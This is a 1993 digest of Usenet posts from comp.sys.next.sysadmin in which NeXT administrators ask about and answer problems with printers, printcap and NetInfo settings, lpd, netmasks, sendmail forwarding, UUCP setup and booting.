Date: Fri, 26 Feb 1993 22:09:33 GMT
Hello,
I have been trying to connect a HP LaserJet (4) printer to our NeXT network
of two machines for about a week now. Originally we had hoped to use the
LocalTalk port on the HP. (It has a parallel,serial,and LocalTalk port).
Anyway, we left that since LocalTalk uses differential RXD and TXD lines.
Moving on to the obvious serial line connection, I followed the pin-
diagrams given in the NeXT documentation and constructed a cable. (There are
a number of conflicting descriptions around - I've tried them all!) Anyway,
at this point we have a cable from NeXTConnection and one that I think
should work based on what HP says the serial port pinouts are. (RS-232C)
Anyway, I've setup NetInfo with a number of parameters to setup the serial
port properly. I've tried the LaserWriter parameters (suggested by
NeXTConnection), I've tried my own settings based on my understanding of
what the printer would expect on the serial line. The two refuse to
speak to each other no matter what I've tried. Lpd starts up and spawns
processes when files are spooled. Lpq reports the printer is not responding.
What I'm hoping is that someone out there is happily printing on a
HP LaserJet via a serial port. I would very much like to know what are your
NetInfo parameters (the printcap database), and what are the connections on
your serial cable (test with an ohm-meter?). Essentially what you did to
get the system functional.
Some people have talked about drivers being necessary. I'm not inclined
to beleive this because I can't even get a simple connection running to print
basic TEXT files from the command line of the terminal. Even so, the HPLJ4
autodetects PostScript Level II.
If someone out there has this information, I would really appreciate
the time spent on a reply.
Thanks again!
-bogdan
(bogdan@eecs.nwu.edu)
(708) 864-9176 Home
(708) 491-1165 Work
From: slv0y@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Printer connected via TCPIP...How?
Message-ID: <1993Feb26.170803.64575@cc.usu.edu>
Date: 26 Feb 93 17:08:03 MDT
Organization: Utah State University
I am getting ready to add a NewGen Turbo PS/1200T Laser printer to our network.
I know how to set up the printer via the serial port, but this printer also has
an ethernet connector. I would like to have the printer on the network via
ethernet, but I can't seem to find any mention in the docs on how to accomplish
this.
I can see no way to tell PrintManager to change the communications from serial
to TCPIP. Where does the PrintManager app get the printer communication
information from? I knows how the NeXT color printer should communicate (via
SCSI), but that information isn't contained in the PPD file...
Any help on getting a printer to work via TCPIP would be greatly appreciated.
I would like to have the same functionality as if it was connected via the
serial port (i.e. via the PrintPanel not via messy shell scripts). Thanks a
lot!
John Z.
slv0y@cc.usu.edu
From: sherlock@holmes.bsd.uchicago.edu (John R. Avery)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: pcnfsd for the NeXT
Message-ID: <1993Feb26.211253.22916@midway.uchicago.edu>
Date: 26 Feb 93 21:12:53 GMT
References: <1993Feb25.164213.15398@schbbs.mot.com>
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago Computing Organizations
In article <1993Feb25.164213.15398@schbbs.mot.com>
o10035@nextphx.corp.mot.com (Jerry DeLuyck) writes:
> Has anyone successfully compiled the rpc.pcnfsd (version 2) on the NeXT?
NS
> 3.0 ships with an rpc.pcnfsd, but alas it is version 1 which leaves out
a lot
> of features.
I'm afraid that this will seem awfully ignorant but my curiosity has
got the better of me. First, I haven't heard of any version-2 of
rpc.pcnfsd on the NeXT. That aside, I don't understand why anyone would
need it for the NeXT. The only thing that occurs to me --about combining
NeXTs, PC/DOS software, and NFS-- is that, if one were to want to run DOS
application on a NeXT then one would use something like Insignia's SoftPC
for NeXT, and if one were to do that then --because SoftPC runs within
NeXTStep which is a superset of a version of unix that incluces NFS
capabilities-- one wouldn't need a separate NFS daemon for the DOS stuff
running on the NeXT.
Apparently (obviously?) I'm missing something, here. Can someone
please explain it to me?
Tx, mucho.
--sherlock
(It's because of the hat. Only the hat.)
From: sherlock@holmes.bsd.uchicago.edu (John R. Avery)
Newsgroups: comp.sys.next.sysadmin
Subject: name change and domain-name change
Message-ID: <1993Feb26.212030.23416@midway.uchicago.edu>
Date: 26 Feb 93 21:20:30 GMT
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago Computing Organizations
I recently had to change the IP name of one of my NeXTs. After
having done so, I noticed that this machine's domainname had not changed
but was/is the same as the previous name of the machine. I'm not a
seasoned NeXT-sysadmin, and the other person, from whom I got the
instructions about how to change the name, said that she doesn't
understand why the domainname didn't change automatically. Can someone
please explain how to accomplish the domainname change so that it will
match the machine's new IP name?
We've got three NeXTs that are NFS clients of a Sun SS1+. Of course,
one of these three NeXTs is the NetInfo server for itself and the other
two. It is one of the other two whose name I changed.
Thanks.
--sherlock
Newsgroups: comp.sys.next.sysadmin
From: root@imagine.com (Operator)
Subject: sc: scintr program error <-- Help Me!
Message-ID: <1993Feb27.044825.1925@imagine.com>
Sender: henryf@imagine.com
Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA
Date: Sat, 27 Feb 1993 04:48:25 GMT
On boot up, my computer gives this message:
boot sd(0,0,0)sdmach
booting SCSI target 1, lun 0
sc: scintr program error <--- this can happen
up to 3 times before continuing
an otherwise normal boot
process
I've been experiencing gremlins on my computer for the past two weeks,
but only tonight did one of those gremlins come up as a repeatable
problem, and thus worth tracking down. Hence, I have no idea how long
my machine has displayed the above error.
My repeatable gremlin is a compilation of a particular file which, until
today, always compiled fine, but now generates warnings (which are not
valid). The same file compiles fine on another machine. I've checked
all files in /lib, /usr/include, and /bin. All of these files are
exactly the same as the files on my working machine. I've fsck'd my
drives (everythings OK), I've changed the location of tmp to another
drive, I've rebooted the system, and I've run DRAM tests. In short, the
only anomaly on my system I can find is the above error messages.
So, I'm asking the questions - what does "scintr program error" mean,
and how can I rectify the problem?
Thanks much!
- Henry Flurry
- Imagine Multimedia, Inc.
Newsgroups: comp.sys.next.sysadmin
From: mross@antigone.com
Subject: Re: FaxDaemon dying
Message-ID: <1993Feb27.073628.15961@antigone.com>
Organization: Antigone Press gateway, San Francisco
References: <1993Feb24.033944.380@leeweyr.sccsi.com>
Date: Sat, 27 Feb 1993 07:36:28 GMT
Bill Lee (bill@leeweyr.sccsi.com) wrote:
: I am running a Neuron 1414 system on my 2.1 NeXT. Lately I have
: been having trouble with the FaxDaemon dying. I will look one minute
: and it's there, and the next it is gone. And when it's gone, my
: uucp feed is dead.
Neuron is dead. Neither its software nor its president were worth two bits.
My advice: Under the case of the Neuron 1414 lies a wonderful ZyXEL U1496.
Call up ZyXEL (800-255-4101) and ask them for their latest ROM upgrade. You will
have to send the modem in but they will turn it around the same day they receive it.
With Fedex shipping both ways you'll get it back in two days.
Junk the Neuron software. Get NXFax from one of the ftp sites and enjoy flawless
faxing, uucp, dial-in/dial-out & SLIP...
Yes there is a cost involved ($35 for the upgrade, about $40 Fedex, $135 to
unlock NXFax from the demo version) but both these companies have _great_ tech
support. NXFax will soon be supporting voice mail ZyXEL features too...
--
Michael Ross
Antigone Press, San Francisco, California
e-mail: mross@antigone.com
FAX: +1 415 431 3650
Newsgroups: comp.sys.next.sysadmin
From: mross@antigone.com
Subject: Re: LISTSERVER for NeXTs???
Message-ID: <1993Feb27.074716.16063@antigone.com>
Organization: Antigone Press gateway, San Francisco
References: <1993Feb26.134024.12386@worldbank.org>
Date: Sat, 27 Feb 1993 07:47:16 GMT
masud cader (masud@invnext.worldbank.org) wrote:
: I would like to implement a mail listserver on my NeXT. Is there any code
: which I can recompile and which is nown to work. Basically I wish to provide
: subscribe/unsubscribe, help, get and put from within mail messages.
I am running NEXT-L and several other _large_ lists on a NeXT using unix-listserv.
It is fully ported to the NeXT with only the statistics not working (due to the
lack of awk() on the NeXT.
You can ftp the whole package from cs.bu.edu. It is as functional as
listservs go. (You can test it out from the user point of view by mailing
LISTSERV@antigone.com). Version 5.5 is current, with 6.0 in beta with lots of
goodies. The author is Anastasios Katsakonis (tasos@cs.bu.edu). He is stubborn, but
usually helpful.
There is also a list supporting unix-listserv operators:
unix-listserv@stormking.com
subscribe by mailing listserv@stormking.com in the usual manner.
All in all, it's a very powerful program. I highly recommend it.
Cheers.
--
Michael Ross
Antigone Press, San Francisco, California
e-mail: mross@antigone.com
FAX: +1 415 431 3650
Newsgroups: comp.sys.next.sysadmin
From: jypai@ccnext.csie.nctu.edu.tw
Subject: Re: How to export NeXT printer to Suns?
Message-ID: <C33oAL.L8w@csie.nctu.edu.tw>
Sender: usenet@csie.nctu.edu.tw
Organization: Computer Sci. & Information Eng., Chiao-Tung U, Taiwan, ROC
References: <1992Nov22.182521.15708@galileo.cc.rochester.edu>
Date: Sat, 27 Feb 1993 09:13:33 GMT
In article <1992Nov22.182521.15708@galileo.cc.rochester.edu>
ffor@troi.cc.rochester.edu (Frederick (Jackie) Ford) writes:
> In article <13337@optilink.COM> brad@optilink.COM (Brad Yearwood) writes:
> >I have one NeXT with printer, running 2.1, amidst a sea of Suns. I've
> >been running for a long time with the NeXT's Network Type configured
> >as Non-NetInfo Network, with NIS enabled. The printer is a recent
addition.
> >
> >Local print works fine, but I can't get the printer exported. If I just
> >try a print operation from a remote Sun, I get:
> >
> > ... /usr/lib/lpd: Local_Printer: Your host does not have line printer
access
> >
> >If I go to PrintManager, and try to enable Public access, I get an Alert
box
> >complaining "Printer cannot be exported to this same computer".
> >
> >What am I doing wrong?
> >
> >Brad Yearwood brad@optilink.com {uunet, pyramid}!optilink!brad
> >Petaluma, CA
>
> I have the exact same problem in reverse! I would like to print
> remotely from our NeXTstation to a SparcPrinter attatched to a Sparc
> 2. I have added the appropriate printcap entry in NetInfo and added
> the hostname of the NeXT to /etc/hosts.lpd on the Sparc. When I try to
> print to the remote printer the job is queued in the local queue but I
> get a message from the Sparc "Your host does not have line printer
> access". I have spoken to the local Sun experts, but they are at a
> loss. I have also spoken with a local NeXT expert who is also at a
> loss. Note that the Sparc prints to the SparcPrinter locally without
> problems and that the Sparc is *not* running NIS. Also note that both
> machines can resolve the hostnames successfully (ie, telnet and ftp
> work fine using hostnames).
>
> What am I doing wrong?
it seems no one knows the solution to this.
No one follow this article (which was posted 3 months ago)
--
Yuan
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From: jypai@ccnext.csie.nctu.edu.tw
Subject: Re: how to restart lpd?
Message-ID: <C33oJ4.LAF@csie.nctu.edu.tw>
Sender: usenet@csie.nctu.edu.tw
Organization: Computer Sci. & Information Eng., Chiao-Tung U, Taiwan, ROC
References: <C2yvnv.GxC@news.cso.uiuc.edu>
Date: Sat, 27 Feb 1993 09:18:40 GMT
In article <C2yvnv.GxC@news.cso.uiuc.edu> camilleg@cmp-rt.music.uiuc.edu
(Camille M. Goudeseune) writes:
> From yet another struggling sysadmin... Running 2.1, every few days lpd
> stops working.
>
> Symptoms: from Preview, the "can't print" dialog;
> from lpr, things go into the queue but just pile up there.
>
> Solutions: Mucking around with lpc is to no avail. restart or start
> creates the daemon for a little while and then it dies again.
> Rebooting works, but is inconvenient when you're halfway through a
> 3 cpu-day process.
--
i encountered similar situation before.
my conclusion is that
"local user can't print" (though the job still enters the queue without
error)
local means NOT on YP.
(Though the printer is connected to the NeXTstation directly)
My NeXTstation is one part of a big mixing system ( Suns, iris, rs6000)
the home server is a Sun Sparc2.
we use YP.
Yuan
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| For NeXT mail ONLY: jypai@ccnext.csie.nctu.edu.tw |
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Newsgroups: comp.sys.next.sysadmin
From: bvrotney@ADS.COM (Bill Vrotney)
Subject: "find tar" idiom not working in NS 3.0
Message-ID: <1993Feb27.091115.16239@ads.com>
Sender: usenet@ads.com (USENET News)
Organization: Advanced Decision Systems, Mtn. View, CA (415) 960-7300
Date: Sat, 27 Feb 1993 09:11:15 GMT
Warning!
Having done file backups using the "find tar" idiom,
find <find expression> -exec tar -rvf <tar file> {} \;
under NS 2.0, I was shocked to find out that under NS 3.0 the files were not
being saved properly. They seem to be getting truncated or extra files
added, for example f1,f2,f3,f4,f5 might tar back as f1,f2 or
f1,f2,f3,f4,f5,f2,f3. Everything looks like its going fine until you try to
restore the files.
Does anyone know of a work around for this? Is there an archive that
describes NS 3.0 bugs and work arounds?
--
Bill Vrotney
BAH/Advanced Decision Systems
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From: pyrros@ulysses.att.com (Christos T. Pyrros)
Subject: Re: pcnfsd *version 2* for the NeXT
Message-ID: <1993Feb27.071121.1106@ulysses.att.com>
Date: Sat, 27 Feb 1993 07:11:21 GMT
References: <1993Feb26.211253.22916@midway.uchicago.edu>
Organization: AT&T Bell Laboratories, Murray Hill
In article <1993Feb26.211253.22916@midway.uchicago.edu>
sherlock@holmes.bsd.uchicago.edu (John R. Avery) writes:
> In article <1993Feb25.164213.15398@schbbs.mot.com>
> o10035@nextphx.corp.mot.com (Jerry DeLuyck) writes:
> > Has anyone successfully compiled the rpc.pcnfsd (version 2) on the
NeXT?
Yes!! If anyone want's it I can NeXTMail it, or I'll post it to sonata if
there's alot of interest.
Newsgroups: comp.sys.next.sysadmin
From: bnocker@cosy.sbg.ac.at (Bernhard Nocker)
Subject: Re: How to export NeXT printer to Suns?
Message-ID: <C33xpy.9uL@cosy.sbg.ac.at>
Sender: news@cosy.sbg.ac.at
Organization: University of Salzburg / Austria
References: <C33oAL.L8w@csie.nctu.edu.tw>
Date: Sat, 27 Feb 1993 12:37:10 GMT
In article <C33oAL.L8w@csie.nctu.edu.tw> jypai@ccnext.csie.nctu.edu.tw
writes:
> In article <1992Nov22.182521.15708@galileo.cc.rochester.edu>
> > > [...]
> > > ... /usr/lib/lpd: Local_Printer: Your host does not have line
printer
> access
> > >
> > >If I go to PrintManager, and try to enable Public access, I get an
Alert
> box
> > >complaining "Printer cannot be exported to this same computer".
> > >
[...] stuff deleted
This issues have been discussed many times one year ago and that's
possibly the reason why nobody follows up.
To solve the problems again:
1.) "Printer cannot be exported to this same computer"
Reason: You only have a local netinfo domain.
Solution: Even within a heterogenous environment it makes sense to make a
NeXT its own netinfo server. Enter all machines that need access to the
NeXT printer afterwards with HostManager to the global netinfo domain. You
can now export the printer to the root domain (/) and all machines in this
domain can access it.
If you don't want to create a netinfo server you can solve the problem
with adding the properties sharedTo:/ and sharedAs:/NeXT_Printer to the
Local_Printer entry in your local netinfo domain.
2.) /usr/lib/lpd: Local_Printer: Your host does not have line printer
access
Reason: the Suns /etc/printcap contains :rp=lp:
Solution: lp is an unknown printer for the NeXT so the request is
rejected. You can add an alias lp for your Local_Printer on the NeXT but
it is even better to change :rp=lp: to :rp=Local_Printer: in /etc/printcap
on the remote non-NeXT.
If you need any further help,
feel free to contact me,
Bernhard
PS: comp.sys.next.sysadmin of year '92 contains a more complete
description of solving such problems.
--
Bernhard Nocker
University of Salzburg's Department of Computing Studies
Jakob-Haringerstr. 5 5020 Salzburg Austria, Europe
Tel: +43-662-8044/6316 bnocker@cosy.sbg.ac.at
Fax: +43-662-8044/6316 or +43-662-8044/611
From: robert@steffi.demon.co.uk (Robert David Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Terminal Services woes
Date: 27 Feb 1993 10:43:03 -0000
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <1mngjn$4d1@steffi.demon.co.uk>
Im trying to add some terminal services.
Can somebody tell me how I can have it so that the services
are automatically included.
Is there a file in ~/Library/Services that it looks for?
Currently my services are not updating to reflect the changes
I have made.
Newsgroups: comp.sys.next.sysadmin
From: dicosmo@dmi.ens.fr (Roberto DiCosmo)
Subject: Re: How to export NeXT printer to Suns? (some answer)
Message-ID: <1993Feb27.135009.1190@ens.fr>
Sender: news@ens.fr (USENET News System)
Organization: Ecole Normale Superieure, PARIS, France
References: <C33oAL.L8w@csie.nctu.edu.tw>
Date: Sat, 27 Feb 93 13:50:09 GMT
In article <C33oAL.L8w@csie.nctu.edu.tw> jypai@ccnext.csie.nctu.edu.tw writes:
> In article <1992Nov22.182521.15708@galileo.cc.rochester.edu>
> ffor@troi.cc.rochester.edu (Frederick (Jackie) Ford) writes:
> > In article <13337@optilink.COM> brad@optilink.COM (Brad Yearwood) writes:
> > >I have one NeXT with printer, running 2.1, amidst a sea of Suns. I've
> > >been running for a long time with the NeXT's Network Type configured
> > >as Non-NetInfo Network, with NIS enabled. The printer is a recent
> addition.
> > >
> > >Local print works fine, but I can't get the printer exported. If I just
> > >try a print operation from a remote Sun, I get:
> > >
> > > ... /usr/lib/lpd: Local_Printer: Your host does not have line printer
> access
> > >
> > >If I go to PrintManager, and try to enable Public access, I get an Alert
> box
> > >complaining "Printer cannot be exported to this same computer".
> > >
> > >What am I doing wrong?
> > >
> > >Brad Yearwood brad@optilink.com {uunet, pyramid}!optilink!brad
> > >Petaluma, CA
> >
> > I have the exact same problem in reverse! I would like to print
> > remotely from our NeXTstation to a SparcPrinter attatched to a Sparc
> > 2. I have added the appropriate printcap entry in NetInfo and added
> > the hostname of the NeXT to /etc/hosts.lpd on the Sparc. When I try to
> > print to the remote printer the job is queued in the local queue but I
> > get a message from the Sparc "Your host does not have line printer
> > access". I have spoken to the local Sun experts, but they are at a
> > loss. I have also spoken with a local NeXT expert who is also at a
> > loss. Note that the Sparc prints to the SparcPrinter locally without
> > problems and that the Sparc is *not* running NIS. Also note that both
> > machines can resolve the hostnames successfully (ie, telnet and ftp
> > work fine using hostnames).
> >
> > What am I doing wrong?
>
> it seems no one knows the solution to this.
> No one follow this article (which was posted 3 months ago)
>
> --
>
> Yuan
> +---------------------------------------------------+
> | Internet Address : jypai@csie.nctu.edu.tw |
> | For NeXT mail ONLY: jypai@ccnext.csie.nctu.edu.tw |
> +---------------------------------------------------+
Say your Local_Printer is known as nwp on the network
Actually, this kind of messages can originate for at least two reasons
a: on the machine owning the printer
you did not configure properly your hosts.equiv or hosts.lpd files
please read the documentation and verify that they are properly
set up to allow the other computers on the net to access your printer
b: on the machine owning the printer you have a not properly
configured printcap
do the folowing:
nidump printcap . > /tmp/printcap
look at /tmp/printcap and check that the entry for the printer nwp
has an entry with the field :rm=Local_Printer in it
If not, edit /tmp/printcap to add this field/entry and
niload printcap . < /tmp/printcap
After checkin a+b, restart your computer ... this ought to work.
Anyway, all this is pretty well described in the ReleaseNotes for 3.0!!!
--
Roberto Di Cosmo <dicosmo@dmi.ens.fr>
LIENS
Ecole Normale Superieure
45, Rue d'Ulm
75005 Paris FRANCE
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: .forward does not work with NeXT sendmail?
Message-ID: <C349z5.1uB@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1993Feb24.204131.13304@rna.indiv.nluug.nl>
Date: Sat, 27 Feb 1993 17:01:39 GMT
gerben@rna.indiv.nluug.nl writes:
>I seem to be unable to get ~/.forward to work. I have a .forward file in my
>home directory, but it seems to be unused by sendmail. (The man page of aliases
>mentions it). Even running newaliases doesn't help.
>Has NeXT removed the functionality because of some Netinfo hack, or what?
>Help is very much appreciated (since I am leaving for 2 weeks tomorrow, and i
>want it functional before my departure).
Nope, it does indeed work. Here are some things to check:
In order for it to work, the sendmail process on whichever machine
is actually accepting the mail (wherever the DNS MX record is
pointing for the target of the mail... if there is no MX record,
then this is the target itself) must be able to access
~username/.forward to check it. Sendmail is run as root so root
must be able to access this file. This is a problem if your home
directory is NFS mounted onto the target machine, because the
directory must be exported with the root option.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: woo@woonext.dsrd.ornl.gov (John W. Wooten)
Subject: netmask not sticking!
Message-ID: <1993Feb27.171623.26687@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Sat, 27 Feb 1993 17:16:23 GMT
I have a classroom full of NeXTs using 3.0. I've set up all of them as
clients of one named polaris. I originally used Simple Network Setup and
for some reason found that the host worked fine for networking but the
clients did not have an /etc/resolv.conf and didn't know about the
hosts. In addition, the IP masks and broadcast had been set in the host
configuration when the host polaris was configured, BUT the
/etc/hostconfig was not correct on the clients and again the info didn't
seem to come from the host correctly. SO, I fixed each /etc/resolv.conf
and edited each /etc/hostconfig so that I set the netmask and broadcast
addr correctly. I changed nothing else there that I know of.
If I then typed /etc/ifconfig en0
from any of the clients I got the following:
altair:woo 51 % /etc/ifconfig en0
en0: flags=8063<UP,BROADCAST,NOTRAILERS,RUNNING>
inet 160.91.80.12 netmask ffff0000 broadcast 160.91.80.255
We should have gotten everything the same except the netmask
which has been set everywhere I can think of to: ffffff00
we manually went to each station and did
/etc/ifconfig en0 netmask 0xffffff00
and things worked, but if we power down and back up we get the newmask
reset to ffff0000.
WHERE is this info stored so it will come back up correctly?
J. W. Wooten
Newsgroups: comp.sys.next.sysadmin
From: larry@owrlakh.wl.aecl.ca (Larry Gadallah)
Subject: What does this console message mean?
Message-ID: <1993Feb27.185527.6770@cu23.crl.aecl.ca>
Keywords: Mail 2.1 deallocate port
Sender: news@cu23.crl.aecl.ca (USENET News System)
Organization: AECL-Research
Date: Sat, 27 Feb 1993 18:55:27 GMT
I am running 2.1 (still) and I recently noticed a couple of messages
that show up on the console when Mail.app is launched and shutdown.
They look like this:
On launch of Mail.app
owrlakh mach_init[2]: Registered new service MailFetch_port
looks OK, but note this message upon _quitting_ Mail.app
owrlakh mach_init[2]: Service MailFetch_port failed - deallocate
Is this normal? What does it mean? Is the deallocation of a port
considered an error by the server?
Thanks,
--
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Pinawa, Manitoba, Canada IP [44.135.114.9]
larry@owrlakh.wl.aecl.ca Voice (204) 753-2300
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From: robert@steffi.demon.co.uk (Robert David Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: cancel <1mngjn$4d1@steffi.demon.co.uk>
Message-ID: <1mo0p6$20m@steffi.demon.co.uk>
Date: 27 Feb 93 15:19:02 GMT
Control: cancel <1mngjn$4d1@steffi.demon.co.uk>
Organization: me organized? That's a joke!
Article cancelled from within tin [v1.1 PL8]
Newsgroups: comp.sys.next.sysadmin
From: rhamel@iat.holonet.net (Richard Hamel)
Subject: UUCP setup help!
Message-ID: <C34nBC.Ms@iat.holonet.net>
Organization: HoloNet National Internet Access BBS: 510-704-1058/modem
Date: Sat, 27 Feb 1993 21:49:58 GMT
I am having probelms setting up UUCP on my NeXT (3.0) my current config
is as follows:
L.sys
holonet Any DIR 9600 cufa \
ABORT BUSY \
"" AT \
"" ATDT15107041058 \
CONNECT~20 PAUSE \
elp):~15-CR-elp):~10-CR-elp):~5-BREAK-elp):~5 holonet \
uest"):~15-CR-uest"):~10-CR-uest"):~5-BREAK-uest"):~5 XXXXXXX \
ssword:~10 XXXXXXX \
one:~10 uucp
Any help would be appreciated.
Richard Hamel
rhamel@holonet.net
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Account file for network NeXT Printer
Message-ID: <7819@ucsbcsl.ucsb.edu>
Date: 27 Feb 93 23:40:43 GMT
Sender: root@ucsbcsl.ucsb.edu
Organization: Center for Computer Music Research and Composition, U.C.S.B.
I have a single NeXT Laser Printer on one of our 5 NeXTs, and I wish to have
a log of all transactions that take place on that printer. I have added the
'af' option to the printcap via NetInfoManager, but nothing shows up in it.
It is not clear whether this file should be on the printer-host machine, or
the Netinfo host machine. I touched the file that I chose so that it would
exist. None of this helps.
Has anyone done this successfully?
Also, I get no audio warnings when the printer is out of paper, etc. Is there
a way to get this to happen regardless of which machine I print from?
Thanks!
--
Douglas Scott (805)893-8352
Center for Computer Music Research and Composition
University of California, Santa Barbara
Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Root can't log in from console anymore, anyone else can...
Message-ID: <C34usn.7DG@ux1.cso.uiuc.edu>
Keywords: 2.1, Upgrade.app, root, seg fault
Organization: University of Illinois at Urbana
References: <1993Feb24.221657.17626@mcs.anl.gov>
Date: Sun, 28 Feb 1993 00:31:21 GMT
korp@eid.anl.gov (Peter A. Korp) writes:
>I have a 68040 single headed ND Cube running 2.1 that has had the
>Upgrade.app for 3.0 run but never actually upgradedto 3.0. It is on a
>network of Suns and is served by a Sun via YP(NIS).
>My problem is as follows: any user local or remote can login on the
>console with no problem. But trying to log in as root brings up the
>workspace and immediatly causes an alert panel to pop up saying signal 10
>internal error, segmentation violation.. blah blah blah...
>I have tried removing roots .NeXT directory changing the defaults database
>to the same as on other machines all to no avail.
Some directory that root is trying to write to is not exported to
that machine with the -root option. Try exporting directories with
the -root option to that machine, the problem should go away.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Account file for network NeXT Printer
Message-ID: <C358CA.F67@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <7819@ucsbcsl.ucsb.edu>
Date: Sun, 28 Feb 1993 05:23:56 GMT
doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) writes:
>I have a single NeXT Laser Printer on one of our 5 NeXTs, and I wish to have
>a log of all transactions that take place on that printer. I have added the
>'af' option to the printcap via NetInfoManager, but nothing shows up in it.
>It is not clear whether this file should be on the printer-host machine, or
>the Netinfo host machine. I touched the file that I chose so that it would
>exist. None of this helps.
>Has anyone done this successfully?
Yes, it works successfully for me as follows: create the entry in
the printcap of the local domain on the printer host. (in the
Local_Printer entry) Then, touch the file that af= on that printer
host. Don't include an af= in any other netinfo entries for that
printer (in case you have it exported to /, in which case another
copy of it will be in the printcap for /, with the sharedAs name as
its 'name')
>Also, I get no audio warnings when the printer is out of paper, etc. Is there
>a way to get this to happen regardless of which machine I print from?
I don't think so. It will happen on the print host and the machine
you're printing from if they're not muted. If anyone has a way
to make the warnings always go to a certain machine (a machine where
a site operator always sits, for instance), I'd be very interested
to know.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: brad@optilink.COM (Brad Yearwood)
Newsgroups: comp.sys.next.sysadmin
Subject: Query: how to build bootable OD from 3.0 Upgrade CD-ROM Tools floppy?
Message-ID: <14701@optilink.COM>
Date: 28 Feb 93 03:28:01 GMT
Organization: Optilink Corporation, Petaluma, CA
Stupid me - forgot to save the article giving the magic recipe for making
a bootable OD equivalent of the CD-ROM Tools floppy from the 3.0 upgrade
package.
I am running 2.1 on a '040 Cube, and am trying to build a bootable 3.0 system
on an external HP 1GB disk (using a NEC CDR-73 CD drive and DIT CubeFloppy 2.9
floppy drive).
Unfortunately, the combination of the CD drive, the floppy drive, and the
available SCSI cables, seems to be just over the edge of working reliably
enough to complete installation by starting directly from floppy. On a
couple of occasions I've gotten as far as getting the upgrader running,
completed newfs on the external disk, and start filling the external disk.
After a while, SCSI errors are reported, and the process eventually wedges.
I suspect that I could make things work by removing the 380MB Maxtor
drive from the cube and swapping in the HP drive, but I'd rather not disturb
the cube innards, which have served me very reliably for a couple of years.
So I'd rather start from OD, which would let me shorten the SCSI path by
cutting the floppy drive out of the picture.
I'd appreciate hearing from anyone who knows how to build a bootable OD
equivalent to the floppy, and how to boot it if anything less obvious
than going to the monitor and saying "bod" or "bod()sdmach" is needed.
I tried a straight dd (bs=1024) to /dev/rod0a (killed autodiskmount, inserted
the OD when the panel popped up) from a disk file dd'd from the raw floppy.
This didn't seem to do it. Do I need some combination of "skip=xxx",
"seek=xxxx" or something else, or do I need another step (like maybe "disk -b"
with /usr/standalone/boot changed to be the one off the floppy)?
Any advice on safety measures (or even feasibility) in alternately booting 2.1
from internal disk, or 3.0 from external disk, would also be appreciated.
Brad Yearwood brad@optilink.com {uunet, pyramid}!optilink!brad
Petaluma, CA
From: zac@dolphin.com (Zacharias J. Beckman)
Newsgroups: comp.sys.next.sysadmin
Subject: Constant FSCK At Boot Time - HELP!
Message-ID: <1993Feb28.072722.1794@dolphin.com>
Date: 28 Feb 93 07:27:22 GMT
Sender: zac@dolphin.com
Distribution: usa
Organization: Dolphin Software
Can anyone tell me why our server, fairly recently it seems, has begun to do
a file system check on /dev/rsd0a every time it boots? This even happens if
the shutdown process was clean and simple, with no hangups or apparent
problems with killing any daemons. Nevertheless, it does an fsck during the
boot phases Every Time! Please help! Mail suggestions and I'll summarize.
--
Zacharias J. Beckman - Dolphin Software Inc. - zac@dolphin.com - use NeXTMAIL!
To be "matter of fact" about the world is to blunder into fantasy.... and dull
fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen
Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: zac@dolphin.com (Zacharias J. Beckman)
Newsgroups: comp.sys.next.sysadmin
Subject: Permanently Mounting a CD-ROM? Help!
Message-ID: <1993Feb28.072837.1851@dolphin.com>
Date: 28 Feb 93 07:28:37 GMT
Sender: zac@dolphin.com
Distribution: usa
Organization: Dolphin Software
Can anyone tell me how to permanently mount a CD-ROM? We have several ROMs
now and I'd like to keep one or two of them online at all times. If you have
any ideas, please email and I'll summarize. Thanks in advance.
--
Zacharias J. Beckman - Dolphin Software Inc. - zac@dolphin.com - use NeXTMAIL!
To be "matter of fact" about the world is to blunder into fantasy.... and dull
fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen
Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: robert@steffi.demon.co.uk (Robert David Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Power up at a certain time
Date: 28 Feb 1993 12:37:07 -0000
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <1mqblj$185@steffi.demon.co.uk>
My machine supports the power on at a certain time feature in Preferences
Is this limited to root only? It doesn't appear to work for a member of
the wheel group?
Any clues?
Newsgroups: comp.sys.next.sysadmin
From: ajones@oxy.edu (A. Lee Jones)
Subject: Re: lpr - No such file or directory
